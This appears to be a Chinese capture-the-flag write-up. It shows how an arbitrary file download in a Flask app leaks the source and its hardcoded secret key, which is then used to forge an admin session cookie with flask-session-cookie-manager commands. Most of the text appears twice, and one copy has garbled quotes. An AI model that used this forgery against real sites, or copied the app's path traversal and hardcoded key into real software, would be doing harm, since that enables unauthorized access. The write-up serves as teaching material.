抽老婆
一进来发现可以抽老婆,下面还有个下载按钮,有意思还可以吧,把老婆抱回家
原文连接:https://www.cnblogs.com/xxpanda/p/16897102.html
![
然后点击下载,发现这个似乎是个任意文件下载,OK了这个时候可以看看debug里面有啥
在里面发现source文件在/app/app.py里面,
用之前发现的任意文件下载下载下来
然后查看源码
``from flask import *
import os
import random
from flag import flag
#初始化全局变量
app = Flask(name)
app.config[‘SECRET_KEY’] = ‘tanji_is_A_boy_Yooooooooooooooooooooo!’
@app.route(‘/’, methods=[‘GET’])
def index():
return render_template(‘index.html’)
@app.route(‘/getwifi’, methods=[‘GET’])
def getwifi():
session[‘isadmin’]=False
wifi=random.choice(os.listdir(‘static/img’))
session[‘current_wifi’]=wifi
return render_template(‘getwifi.html’,wifi=wifi)
@app.route(‘/download’, methods=[‘GET’])
def source():
filename=request.args.get(‘file’)
if ‘flag’ in filename:
return jsonify({“msg”:“你想干什么?”})
else:
return send_file(‘static/img/’+filename,as_attachment=True)
@app.route(‘/secret_path_U_never_know’,methods=[‘GET’])
def getflag():
if session[‘isadmin’]:
return jsonify({“msg”:flag})
else:
return jsonify({“msg”:“你怎么知道这个路径的?不过还好我有身份验证”})
if name == ‘main’:
app.run(host=‘0.0.0.0’,port=80,debug=True)
看着两个地方可以知道这是一个flask的session认证题目,只需要生成一个正确的session就OK
session安全问题
flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录
flask脚本链接:https://github.com/noraj/flask-session-cookie-manager
注意::强烈建议在kali里面运行,Windows里面能运行就能运行不能运行就会有各种奇奇怪怪的问题
具体原理可以看下这个师傅的http://t.csdn.cn/LiXVb
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
解密:找到秘钥后,去解密,解密格式如下:
python3 flask_session_cookie_manager3.py decode -c 'eyJjdXJyZW50X3dpZmkiOiI5YmI1MWM5MDE2MGMwMjNlNTM5YmFmYzBjNmZmODhiMi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3SRYg.TGWZpdsROvIU-Ayzfw49qVQj9s4' -s 'tanji_is_A_boy_Yooooooooooooooooooooo!'
然后就得到密文了
加密:得到密文后发现isadmin这里是false,所以吧false改为ture,原理这里再看源代码
if session['isadmin']:#如果是真isadmin,就可以拿到flag,如果假flag就输出下面的
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
加密格式:
python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': '9bb51c90160c023e539bafc0c6ff88b2.jpg', 'isadmin': True}"
特别注意后面需要"双引号"单引号不能成功
生成密文:
最后把密文添加到cookie就可以成功获取flag了
补充说明:
这样的字符是Unicode 编码,这一串字符解码后就是“你怎么知道这个路径的?不过还好我有身份验证”
然后点击下载,发现这个似乎是个任意文件下载,OK了这个时候可以看看debug里面有啥
在里面发现source文件在/app/app.py里面,
用之前发现的任意文件下载下载下来
然后查看源码
#Author :g4_simon
from flask import *
import os
import random
from flag import flag
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)
@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)
看着两个地方可以知道这是一个flask的session认证题目,只需要生成一个正确的session就OK
session安全问题
flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录
flask脚本链接:https://github.com/noraj/flask-session-cookie-manager
注意::强烈建议在kali里面运行,Windows里面能运行就能运行不能运行就会有各种奇奇怪怪的问题
具体原理可以看下这个师傅的http://t.csdn.cn/LiXVb
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
**解密**:找到秘钥后,去解密,解密格式如下:
python3 flask_session_cookie_manager3.py decode -c 'eyJjdXJyZW50X3dpZmkiOiI5YmI1MWM5MDE2MGMwMjNlNTM5YmFmYzBjNmZmODhiMi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3SRYg.TGWZpdsROvIU-Ayzfw49qVQj9s4' -s 'tanji_is_A_boy_Yooooooooooooooooooooo!'
然后就得到密文了
![在这里插入图片描述](https://img-blog.csdnimg.cn/4b7f3ea5c0dd42d484ae09fcf26c88d3.png)
**加密**:得到密文后发现isadmin这里是false,所以吧false改为ture,原理这里再看源代码
if session['isadmin']:#如果是真isadmin,就可以拿到flag,如果假flag就输出下面的
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
加密格式:
python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': '9bb51c90160c023e539bafc0c6ff88b2.jpg', 'isadmin': True}"
特别注意后面需要"双引号"单引号不能成功
生成密文:
![在这里插入图片描述](https://img-blog.csdnimg.cn/fc9c23688a6945bf9a74cb182288c22f.png)
最后把密文添加到cookie就可以成功获取flag了
补充说明:
这样的字符是Unicode 编码,这一串字符解码后就是“你怎么知道这个路径的?不过还好我有身份验证”